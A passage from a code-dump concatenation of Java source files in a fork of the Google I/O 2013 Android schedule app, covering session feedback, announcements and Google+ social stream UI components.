} rootView.findViewById(R.id.submit_feedback_button).setOnClickListener( new View.OnClickListener() { @Override public void onClick(View view) { submitAllFeedback(); EasyTracker.getTracker().sendEvent("Session", "Feedback", mTitleString, 0L); LOGD("Tracker", "Feedback: " + mTitleString); getActivity().finish(); } }); return rootView; } @Override public void onStart() { super.onStart(); mPlusClient.connect(); } @Override public void onStop() { super.onStop(); mPlusClient.disconnect(); } @Override public void onConnected(Bundle connectionHint) { } @Override public void onDisconnected() { } @Override public void onConnectionFailed(ConnectionResult connectionResult) { // Don't show an error just for the +1 button. Google Play services errors // should be caught at a higher level in the app } /** * Handle {@link SessionsQuery} {@link Cursor}. */ private void onSessionQueryComplete(Cursor cursor) { if (!cursor.moveToFirst()) { return; } mTitleString = cursor.getString(SessionsQuery.TITLE); // Format time block this session occupies mTitle.setText(mTitleString); EasyTracker.getTracker().sendView("Feedback: " + mTitleString); LOGD("Tracker", "Feedback: " + mTitleString); } /* ALL THE FEEDBACKS */ void submitAllFeedback() { int rating = mSessionRatingFeedbackBar.getValue() + 1; int q1Answer = mQ1FeedbackBar.getValue() + 1; int q2Answer = mQ2FeedbackBar.getValue() + 1; int q3Answer = mQ3FeedbackBar.getValue() + 1; // Don't add +1, since this is effectively a boolean. index 0 = false, 1 = true, // -1 means no answer was given. int q4Answer = getCheckedRadioIndex(mQ4RadioGroup); String comments = mComments.getText().toString(); String answers = mSessionId + ", " + rating + ", " + q1Answer + ", " + q2Answer + ", " + q3Answer + ", " + q4Answer + ", " + comments; LOGD(TAG, answers); ContentValues values = new ContentValues(); values.put(Feedback.SESSION_ID, mSessionId); values.put(Feedback.UPDATED, System.currentTimeMillis()); values.put(Feedback.SESSION_RATING, rating); values.put(Feedback.ANSWER_RELEVANCE, q1Answer); values.put(Feedback.ANSWER_CONTENT, q2Answer); values.put(Feedback.ANSWER_SPEAKER, q3Answer); values.put(Feedback.ANSWER_WILLUSE, q4Answer); values.put(Feedback.COMMENTS, comments); getActivity().getContentResolver() .insert(ScheduleContract.Feedback.buildFeedbackUri(mSessionId), values); } int getCheckedRadioIndex(RadioGroup rg) { int radioId = rg.getCheckedRadioButtonId(); View rb = rg.findViewById(radioId); return rg.indexOfChild(rb); } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { return new CursorLoader(getActivity(), mSessionUri, SessionsQuery.PROJECTION, null, null, null); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (!isAdded()) { return; } onSessionQueryComplete(cursor); } @Override public void onLoaderReset(Loader<Cursor> loader) {} /** * Helper class for building a rating bar from a {@link SeekBar}. */ private static class RatingBarHelper implements SeekBar.OnSeekBarChangeListener { private SeekBar mBar; private boolean mTrackingTouch; private TextView[] mLabels; public static RatingBarHelper create(View container) { return new RatingBarHelper(container); } private RatingBarHelper(View container) { // Force the seekbar to multiples of 100 mBar = (SeekBar) container.findViewById(R.id.rating_bar); mLabels = new TextView[]{ (TextView) container.findViewById(R.id.rating_bar_label_1), (TextView) container.findViewById(R.id.rating_bar_label_2), (TextView) container.findViewById(R.id.rating_bar_label_3), (TextView) container.findViewById(R.id.rating_bar_label_4), (TextView) container.findViewById(R.id.rating_bar_label_5), }; mBar.setMax(400); mBar.setProgress(200); onProgressChanged(mBar, 200, false); mBar.setOnSeekBarChangeListener(this); } @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { int value = Math.round(progress / 100f); if (fromUser) { seekBar.setProgress(value * 100); } if (!mTrackingTouch) { for (int i = 0; i < mLabels.length; i++) { mLabels[i].setSelected(i == value); } } } @Override public void onStartTrackingTouch(SeekBar seekBar) { mTrackingTouch = true; for (TextView mLabel : mLabels) { mLabel.setSelected(false); } } @Override public void onStopTrackingTouch(SeekBar seekBar) { int value = getValue(); mTrackingTouch = false; for (int i = 0; i < mLabels.length; i++) { mLabels[i].setSelected(i == value); } } public int getValue() { return mBar.getProgress() / 100; } } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Sessions} query parameters. */ private interface SessionsQuery { String[] PROJECTION = { ScheduleContract.Sessions.SESSION_TITLE, }; int TITLE = 0; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SessionFeedbackFragment.java
Java
asf20
11,294
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Context; import android.util.AttributeSet; import android.util.Log; import android.view.View; import android.widget.Checkable; import android.widget.LinearLayout; public class CheckableLinearLayout extends LinearLayout implements Checkable { private static final int[] CHECKED_STATE_SET = {android.R.attr.state_checked}; private boolean mChecked = false; public CheckableLinearLayout(Context context, AttributeSet attrs) { super(context, attrs); } public boolean isChecked() { return mChecked; } public void setChecked(boolean b) { if (b != mChecked) { mChecked = b; refreshDrawableState(); } } public void toggle() { setChecked(!mChecked); } @Override public int[] onCreateDrawableState(int extraSpace) { final int[] drawableState = super.onCreateDrawableState(extraSpace + 1); if (isChecked()) { mergeDrawableStates(drawableState, CHECKED_STATE_SET); } return drawableState; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/CheckableLinearLayout.java
Java
asf20
1,713
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; public class TrackInfo { public String id; public String name; public int color; public String trackAbstract; public int level; public int meta; public String hashtag; }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/TrackInfo.java
Java
asf20
840
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Context; import android.content.res.Resources; import android.graphics.Typeface; import android.graphics.drawable.ColorDrawable; import android.graphics.drawable.Drawable; import android.net.Uri; import android.support.v4.app.FragmentActivity; import android.text.Html; import android.text.Spannable; import android.text.SpannableStringBuilder; import android.text.TextUtils; import android.text.format.DateUtils; import android.text.style.StyleSpan; import android.util.DisplayMetrics; import android.view.View; import android.widget.ImageView; import android.widget.TextView; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.R.drawable; import com.google.android.apps.iosched.util.ImageLoader; import com.google.api.services.plus.model.Activity; import java.util.ArrayList; import java.util.List; import static com.google.api.services.plus.model.Activity.PlusObject.Attachments.Thumbnails; /** * Renders a Google+-like stream item. */ class PlusStreamRowViewBinder { private static class ViewHolder { // Author and metadata box private View authorContainer; private ImageView userImage; private TextView userName; private TextView time; // Author's content private TextView content; // Original share box private View originalContainer; private TextView originalAuthor; private TextView originalContent; // Media box private View mediaContainer; private ImageView mediaBackground; private ImageView mediaOverlay; private TextView mediaTitle; private TextView mediaSubtitle; // Interactions box private View interactionsContainer; private TextView plusOnes; private TextView shares; private TextView comments; } private static int PLACEHOLDER_USER_IMAGE = 0; private static int PLACEHOLDER_MEDIA_IMAGE = 1; public static ImageLoader getPlusStreamImageLoader(FragmentActivity activity, Resources resources) { DisplayMetrics metrics = resources.getDisplayMetrics(); int largestWidth = metrics.widthPixels > metrics.heightPixels ? metrics.widthPixels : metrics.heightPixels; // Create list of placeholder drawables (this ImageLoader requires two different // placeholder images). ArrayList<Drawable> placeHolderDrawables = new ArrayList<Drawable>(2); placeHolderDrawables.add(PLACEHOLDER_USER_IMAGE, resources.getDrawable(drawable.person_image_empty)); placeHolderDrawables.add(PLACEHOLDER_MEDIA_IMAGE, new ColorDrawable( resources.getColor(R.color.plus_empty_image_background_color))); // Create ImageLoader instance return new ImageLoader(activity, placeHolderDrawables) .setMaxImageSize(largestWidth); } public static void bindActivityView(final View rootView, Activity activity, ImageLoader imageLoader, boolean singleSourceMode) { // Prepare view holder. ViewHolder tempViews = (ViewHolder) rootView.getTag(); final ViewHolder views; if (tempViews != null) { views = tempViews; } else { views = new ViewHolder(); rootView.setTag(views); // Author and metadata box views.authorContainer = rootView.findViewById(R.id.stream_author_container); views.userImage = (ImageView) rootView.findViewById(R.id.stream_user_image); views.userName = (TextView) rootView.findViewById(R.id.stream_user_name); views.time = (TextView) rootView.findViewById(R.id.stream_time); // Author's content views.content = (TextView) rootView.findViewById(R.id.stream_content); // Original share box views.originalContainer = rootView.findViewById( R.id.stream_original_container); views.originalAuthor = (TextView) rootView.findViewById( R.id.stream_original_author); views.originalContent = (TextView) rootView.findViewById( R.id.stream_original_content); // Media box views.mediaContainer = rootView.findViewById(R.id.stream_media_container); views.mediaBackground = (ImageView) rootView.findViewById( R.id.stream_media_background); views.mediaOverlay = (ImageView) rootView.findViewById(R.id.stream_media_overlay); views.mediaTitle = (TextView) rootView.findViewById(R.id.stream_media_title); views.mediaSubtitle = (TextView) rootView.findViewById(R.id.stream_media_subtitle); // Interactions box views.interactionsContainer = rootView.findViewById( R.id.stream_interactions_container); views.plusOnes = (TextView) rootView.findViewById(R.id.stream_plus_ones); views.shares = (TextView) rootView.findViewById(R.id.stream_shares); views.comments = (TextView) rootView.findViewById(R.id.stream_comments); } final Context context = rootView.getContext(); final Resources res = context.getResources(); // Determine if this is a reshare (affects how activity fields are to be interpreted). Activity.PlusObject.Actor originalAuthor = activity.getObject().getActor(); boolean isReshare = "share".equals(activity.getVerb()) && originalAuthor != null; // Author and metadata box views.authorContainer.setVisibility(singleSourceMode ? View.GONE : View.VISIBLE); views.userName.setText(activity.getActor().getDisplayName()); // Find user profile image url String userImageUrl = null; if (activity.getActor().getImage() != null) { userImageUrl = activity.getActor().getImage().getUrl(); } // Load image from network in background thread using Volley library imageLoader.get(userImageUrl, views.userImage, PLACEHOLDER_USER_IMAGE); long thenUTC = activity.getUpdated().getValue() + activity.getUpdated().getTimeZoneShift() * 60000; views.time.setText(DateUtils.getRelativeTimeSpanString(thenUTC, System.currentTimeMillis(), DateUtils.SECOND_IN_MILLIS, DateUtils.FORMAT_ABBREV_MONTH | DateUtils.FORMAT_ABBREV_RELATIVE)); // Author's additional content String selfContent = isReshare ? activity.getAnnotation() : activity.getObject().getContent(); views.content.setMaxLines(singleSourceMode ? 1000 : 5); if (!TextUtils.isEmpty(selfContent)) { views.content.setVisibility(View.VISIBLE); views.content.setText(Html.fromHtml(selfContent)); } else { views.content.setVisibility(View.GONE); } // Original share box if (isReshare) { views.originalContainer.setVisibility(View.VISIBLE); // Set original author text, highlight author name final String author = res.getString( R.string.stream_originally_shared, originalAuthor.getDisplayName()); final SpannableStringBuilder spannableAuthor = new SpannableStringBuilder(author); spannableAuthor.setSpan(new StyleSpan(Typeface.BOLD), author.length() - originalAuthor.getDisplayName().length(), author.length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); views.originalAuthor.setText(spannableAuthor, TextView.BufferType.SPANNABLE); String originalContent = activity.getObject().getContent(); views.originalContent.setMaxLines(singleSourceMode ? 1000 : 3); if (!TextUtils.isEmpty(originalContent)) { views.originalContent.setVisibility(View.VISIBLE); views.originalContent.setText(Html.fromHtml(originalContent)); } else { views.originalContent.setVisibility(View.GONE); } } else { views.originalContainer.setVisibility(View.GONE); } // Media box // Set media content. List<Activity.PlusObject.Attachments> attachments = activity.getObject().getAttachments(); if (attachments != null && attachments.size() > 0) { Activity.PlusObject.Attachments attachment = attachments.get(0); String objectType = attachment.getObjectType(); String imageUrl = attachment.getImage() != null ? attachment.getImage().getUrl() : null; if (imageUrl == null && attachment.getThumbnails() != null && attachment.getThumbnails().size() > 0) { Thumbnails thumb = attachment.getThumbnails().get(0); imageUrl = thumb.getImage() != null ? thumb.getImage().getUrl() : null; } // Load image from network in background thread using Volley library imageLoader.get(imageUrl, views.mediaBackground, PLACEHOLDER_MEDIA_IMAGE); boolean overlayStyle = false; views.mediaOverlay.setImageDrawable(null); if (("photo".equals(objectType) || "video".equals(objectType) || "album".equals(objectType)) && !TextUtils.isEmpty(imageUrl)) { overlayStyle = true; views.mediaOverlay.setImageResource("video".equals(objectType) ? R.drawable.ic_stream_media_overlay_video : R.drawable.ic_stream_media_overlay_photo); } else if ("article".equals(objectType) || "event".equals(objectType)) { overlayStyle = false; views.mediaTitle.setText(attachment.getDisplayName()); if (!TextUtils.isEmpty(attachment.getUrl())) { Uri uri = Uri.parse(attachment.getUrl()); views.mediaSubtitle.setText(uri.getHost()); } else { views.mediaSubtitle.setText(""); } } views.mediaContainer.setVisibility(View.VISIBLE); views.mediaContainer.setBackgroundResource( overlayStyle ? R.color.plus_stream_media_background : android.R.color.black); if (overlayStyle) { views.mediaBackground.clearColorFilter(); } else { views.mediaBackground.setColorFilter(res.getColor(R.color.plus_media_item_tint)); } views.mediaOverlay.setVisibility(overlayStyle ? View.VISIBLE : View.GONE); views.mediaTitle.setVisibility(overlayStyle ? View.GONE : View.VISIBLE); views.mediaSubtitle.setVisibility(overlayStyle ? View.GONE : View.VISIBLE); } else { views.mediaContainer.setVisibility(View.GONE); views.mediaBackground.setImageDrawable(null); views.mediaOverlay.setImageDrawable(null); } // Interactions box final int plusOneCount = (activity.getObject().getPlusoners() != null) ? activity.getObject().getPlusoners().getTotalItems().intValue() : 0; if (plusOneCount > 0) { views.plusOnes.setVisibility(View.VISIBLE); views.plusOnes.setText(getPlusOneString(plusOneCount)); } else { views.plusOnes.setVisibility(View.GONE); } final int commentCount = (activity.getObject().getReplies() != null) ? activity.getObject().getReplies().getTotalItems().intValue() : 0; if (commentCount > 0) { views.comments.setVisibility(View.VISIBLE); views.comments.setText(Integer.toString(commentCount)); } else { views.comments.setVisibility(View.GONE); } final int resharerCount = (activity.getObject().getResharers() != null) ? activity.getObject().getResharers().getTotalItems().intValue() : 0; if (resharerCount > 0) { views.shares.setVisibility(View.VISIBLE); views.shares.setText(Integer.toString(resharerCount)); } else { views.shares.setVisibility(View.GONE); } views.interactionsContainer.setVisibility( (plusOneCount > 0 || commentCount > 0 || resharerCount > 0) ? View.VISIBLE : View.GONE); } private static final String LRM_PLUS = "\u200E+"; private static String getPlusOneString(int count) { return LRM_PLUS + Integer.toString(count); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/PlusStreamRowViewBinder.java
Java
asf20
13,432
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.annotation.TargetApi; import android.os.Build; import android.os.Bundle; import android.preference.PreferenceActivity; import com.google.android.apps.iosched.R; /** * Activity for customizing app settings. */ public class SettingsActivity extends PreferenceActivity { @Override @TargetApi(Build.VERSION_CODES.HONEYCOMB) protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (Build.VERSION.SDK_INT > Build.VERSION_CODES.HONEYCOMB) { getActionBar().setDisplayHomeAsUpEnabled(true); } } @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); setupSimplePreferencesScreen(); } private void setupSimplePreferencesScreen() { // Add 'general' preferences. addPreferencesFromResource(R.xml.preferences); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SettingsActivity.java
Java
asf20
1,557
/* * Copyright 2013 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.UIUtils; import com.google.api.client.extensions.android.json.AndroidJsonFactory; import com.google.api.client.json.JsonFactory; import com.google.api.services.plus.model.Activity; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.support.v4.widget.CursorAdapter; import android.util.TypedValue; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AbsListView; import android.widget.ListView; import java.io.IOException; import java.util.HashMap; import java.util.Map; import static com.google.android.apps.iosched.util.LogUtils.LOGE; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A fragment that shows announcements. */ public class AnnouncementsFragment extends ListFragment implements AbsListView.OnScrollListener, LoaderManager.LoaderCallbacks<Cursor> { private static final String TAG = makeLogTag(AnnouncementsFragment.class); public static final String EXTRA_ADD_VERTICAL_MARGINS = "com.google.android.apps.iosched.extra.ADD_VERTICAL_MARGINS"; private static final String STATE_POSITION = "position"; private static final String STATE_TOP = "top"; private Cursor mCursor; private StreamAdapter mStreamAdapter; private int mListViewStatePosition; private int mListViewStateTop; private ImageLoader mImageLoader; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mImageLoader = PlusStreamRowViewBinder.getPlusStreamImageLoader(getActivity(), getResources()); mCursor = null; mStreamAdapter = new StreamAdapter(getActivity()); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { if (savedInstanceState != null) { mListViewStatePosition = savedInstanceState.getInt(STATE_POSITION, -1); mListViewStateTop = savedInstanceState.getInt(STATE_TOP, 0); } else { mListViewStatePosition = -1; mListViewStateTop = 0; } return super.onCreateView(inflater, container, savedInstanceState); } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); setEmptyText(getString(R.string.empty_announcements)); getLoaderManager().initLoader(0, null, this); } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); final ListView listView = getListView(); if (!UIUtils.isTablet(getActivity())) { view.setBackgroundColor(getResources().getColor(R.color.plus_stream_spacer_color)); } if (getArguments() != null && getArguments().getBoolean(EXTRA_ADD_VERTICAL_MARGINS, false)) { int verticalMargin = getResources().getDimensionPixelSize( R.dimen.plus_stream_padding_vertical); if (verticalMargin > 0) { listView.setClipToPadding(false); listView.setPadding(0, verticalMargin, 0, verticalMargin); } } listView.setOnScrollListener(this); listView.setDrawSelectorOnTop(true); listView.setDivider(getResources().getDrawable(android.R.color.transparent)); listView.setDividerHeight(getResources() .getDimensionPixelSize(R.dimen.page_margin_width)); TypedValue v = new TypedValue(); getActivity().getTheme().resolveAttribute(R.attr.activatableItemBackground, v, true); listView.setSelector(v.resourceId); setListAdapter(mStreamAdapter); } @Override public void onSaveInstanceState(Bundle outState) { if (isAdded()) { View v = getListView().getChildAt(0); int top = (v == null) ? 0 : v.getTop(); outState.putInt(STATE_POSITION, getListView().getFirstVisiblePosition()); outState.putInt(STATE_TOP, top); } super.onSaveInstanceState(outState); } @Override public void onListItemClick(ListView l, View v, int position, long id) { if (mCursor == null) { return; } mCursor.moveToPosition(position); String url = mCursor.getString(AnnouncementsQuery.ANNOUNCEMENT_URL); Intent postDetailIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); postDetailIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET); UIUtils.preferPackageForIntent(getActivity(), postDetailIntent, UIUtils.GOOGLE_PLUS_PACKAGE_NAME); startActivity(postDetailIntent); } @Override public void onScrollStateChanged(AbsListView listView, int scrollState) { // Pause disk cache access to ensure smoother scrolling if (scrollState == AbsListView.OnScrollListener.SCROLL_STATE_FLING) { mImageLoader.stopProcessingQueue(); } else { mImageLoader.startProcessingQueue(); } } @Override public void onScroll(AbsListView absListView, int i, int i2, int i3) { } @Override public Loader<Cursor> onCreateLoader(int id, Bundle args) { return new CursorLoader(getActivity(), ScheduleContract.Announcements.CONTENT_URI, AnnouncementsQuery.PROJECTION, null, null, ScheduleContract.Announcements.DEFAULT_SORT); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { mCursor = cursor; mStreamAdapter.changeCursor(mCursor); mStreamAdapter.notifyDataSetChanged(); if (mListViewStatePosition != -1 && isAdded()) { getListView().setSelectionFromTop(mListViewStatePosition, mListViewStateTop); mListViewStatePosition = -1; } } @Override public void onLoaderReset(Loader<Cursor> loader) { } private class StreamAdapter extends CursorAdapter { private JsonFactory mFactory = new AndroidJsonFactory(); private Map<Long, Activity> mActivityCache = new HashMap<Long, Activity>(); public StreamAdapter(Context context) { super(context, null, 0); } @Override public View newView(Context context, Cursor cursor, ViewGroup container) { return LayoutInflater.from(getActivity()).inflate( R.layout.list_item_stream_activity, container, false); } @Override public void bindView(View view, Context context, Cursor cursor) { long id = cursor.getLong(AnnouncementsQuery._ID); String activityJson = cursor.getString(AnnouncementsQuery.ANNOUNCEMENT_ACTIVITY_JSON); Activity activity = mActivityCache.get(id); // TODO: this should be async if (activity == null) { try { activity = mFactory.fromString(activityJson, Activity.class); } catch (IOException e) { LOGE(TAG, "Couldn't parse activity JSON: " + activityJson, e); } mActivityCache.put(id, activity); } PlusStreamRowViewBinder.bindActivityView(view, activity, mImageLoader, true); } } private interface AnnouncementsQuery { String[] PROJECTION = { ScheduleContract.Announcements._ID, ScheduleContract.Announcements.ANNOUNCEMENT_ACTIVITY_JSON, ScheduleContract.Announcements.ANNOUNCEMENT_URL, }; int _ID = 0; int ANNOUNCEMENT_ACTIVITY_JSON = 1; int ANNOUNCEMENT_URL = 2; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/AnnouncementsFragment.java
Java
asf20
8,894
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.app.ShareCompat; import android.support.v4.content.AsyncTaskLoader; import android.support.v4.content.Loader; import android.text.TextUtils; import android.util.TypedValue; import android.view.*; import android.widget.AbsListView; import android.widget.BaseAdapter; import android.widget.ListView; import android.widget.TextView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.Config; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.NetUtils; import com.google.android.apps.iosched.util.UIUtils; import com.google.api.client.extensions.android.json.AndroidJsonFactory; import com.google.api.client.googleapis.services.CommonGoogleClientRequestInitializer; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.services.plus.Plus; import com.google.api.services.plus.model.Activity; import com.google.api.services.plus.model.ActivityFeed; import java.io.IOException; import java.util.ArrayList; import java.util.List; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A fragment that renders Google+ search results for a given query, provided as the * {@link SocialStreamFragment#EXTRA_QUERY} extra in the fragment arguments. If no * search query is provided, the conference hashtag is used as the default query. */ public class SocialStreamFragment extends ListFragment implements AbsListView.OnScrollListener, LoaderManager.LoaderCallbacks<List<Activity>> { private static final String TAG = makeLogTag(SocialStreamFragment.class); public static final String EXTRA_QUERY = "com.google.android.apps.iosched.extra.QUERY"; public static final String EXTRA_ADD_VERTICAL_MARGINS = "com.google.android.apps.iosched.extra.ADD_VERTICAL_MARGINS"; private static final String STATE_POSITION = "position"; private static final String STATE_TOP = "top"; private static final long MAX_RESULTS_PER_REQUEST = 20; private static final String PLUS_RESULT_FIELDS = "nextPageToken,items(id,annotation,updated,url,verb,actor(displayName,image)," + "object(actor/displayName,attachments(displayName,image/url,objectType," + "thumbnails(image/url,url),url),content,plusoners/totalItems,replies/totalItems," + "resharers/totalItems))"; private static final int STREAM_LOADER_ID = 0; private String mSearchString; private List<Activity> mStream = new ArrayList<Activity>(); private StreamAdapter mStreamAdapter = new StreamAdapter(); private int mListViewStatePosition; private int mListViewStateTop; private ImageLoader mImageLoader; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final Intent intent = BaseActivity.fragmentArgumentsToIntent(getArguments()); // mSearchString can be populated before onCreate() by called refresh(String) if (TextUtils.isEmpty(mSearchString)) { mSearchString = intent.getStringExtra(EXTRA_QUERY); } if (TextUtils.isEmpty(mSearchString)) { mSearchString = UIUtils.CONFERENCE_HASHTAG; } if (!mSearchString.startsWith("#")) { mSearchString = "#" + mSearchString; } mImageLoader = PlusStreamRowViewBinder.getPlusStreamImageLoader(getActivity(), getResources()); setHasOptionsMenu(true); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { if (savedInstanceState != null) { mListViewStatePosition = savedInstanceState.getInt(STATE_POSITION, -1); mListViewStateTop = savedInstanceState.getInt(STATE_TOP, 0); } else { mListViewStatePosition = -1; mListViewStateTop = 0; } return super.onCreateView(inflater, container, savedInstanceState); } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); setEmptyText(getString(R.string.empty_social_stream)); // In support library r8, calling initLoader for a fragment in a FragmentPagerAdapter // in the fragment's onCreate may cause the same LoaderManager to be dealt to multiple // fragments because their mIndex is -1 (haven't been added to the activity yet). Thus, // we do this in onActivityCreated. getLoaderManager().initLoader(STREAM_LOADER_ID, null, this); } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); final ListView listView = getListView(); if (!UIUtils.isTablet(getActivity())) { view.setBackgroundColor(getResources().getColor(R.color.plus_stream_spacer_color)); } if (getArguments() != null && getArguments().getBoolean(EXTRA_ADD_VERTICAL_MARGINS, false)) { int verticalMargin = getResources().getDimensionPixelSize( R.dimen.plus_stream_padding_vertical); if (verticalMargin > 0) { listView.setClipToPadding(false); listView.setPadding(0, verticalMargin, 0, verticalMargin); } } listView.setOnScrollListener(this); listView.setDrawSelectorOnTop(true); listView.setDivider(getResources().getDrawable(android.R.color.transparent)); listView.setDividerHeight(getResources() .getDimensionPixelSize(R.dimen.page_margin_width)); TypedValue v = new TypedValue(); getActivity().getTheme().resolveAttribute(R.attr.activatableItemBackground, v, true); listView.setSelector(v.resourceId); setListAdapter(mStreamAdapter); } @Override public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) { inflater.inflate(R.menu.social_stream, menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_compose: Intent intent = ShareCompat.IntentBuilder.from(getActivity()) .setType("text/plain") .setText(mSearchString + "\n\n") .getIntent(); UIUtils.preferPackageForIntent(getActivity(), intent, UIUtils.GOOGLE_PLUS_PACKAGE_NAME); startActivity(intent); EasyTracker.getTracker().sendEvent("Home Screen Dashboard", "Click", "Post to G+", 0L); LOGD("Tracker", "Home Screen Dashboard: Click, post to g+"); return true; } return false; } @Override public void onPrepareOptionsMenu(Menu menu) { } @Override public void onDestroyOptionsMenu() { } @Override public void onSaveInstanceState(Bundle outState) { if (isAdded()) { View v = getListView().getChildAt(0); int top = (v == null) ? 0 : v.getTop(); outState.putInt(STATE_POSITION, getListView().getFirstVisiblePosition()); outState.putInt(STATE_TOP, top); } super.onSaveInstanceState(outState); } public void refresh(String newQuery) { mSearchString = newQuery; refresh(true); } public void refresh() { refresh(false); } public void refresh(boolean forceRefresh) { if (isStreamLoading() && !forceRefresh) { return; } // clear current items mStream.clear(); mStreamAdapter.notifyDataSetInvalidated(); if (isAdded()) { Loader loader = getLoaderManager().getLoader(STREAM_LOADER_ID); ((StreamLoader) loader).init(mSearchString); } loadMoreResults(); } public void loadMoreResults() { if (isAdded()) { Loader loader = getLoaderManager().getLoader(STREAM_LOADER_ID); if (loader != null) { loader.forceLoad(); } } } @Override public void onListItemClick(ListView l, View v, int position, long id) { Activity activity = mStream.get(position); Intent postDetailIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(activity.getUrl())); postDetailIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET); UIUtils.preferPackageForIntent(getActivity(), postDetailIntent, UIUtils.GOOGLE_PLUS_PACKAGE_NAME); startActivity(postDetailIntent); } @Override public void onScrollStateChanged(AbsListView listView, int scrollState) { // Pause disk cache access to ensure smoother scrolling if (scrollState == AbsListView.OnScrollListener.SCROLL_STATE_FLING) { mImageLoader.stopProcessingQueue(); } else { mImageLoader.startProcessingQueue(); } } @Override public void onScroll(AbsListView absListView, int firstVisibleItem, int visibleItemCount, int 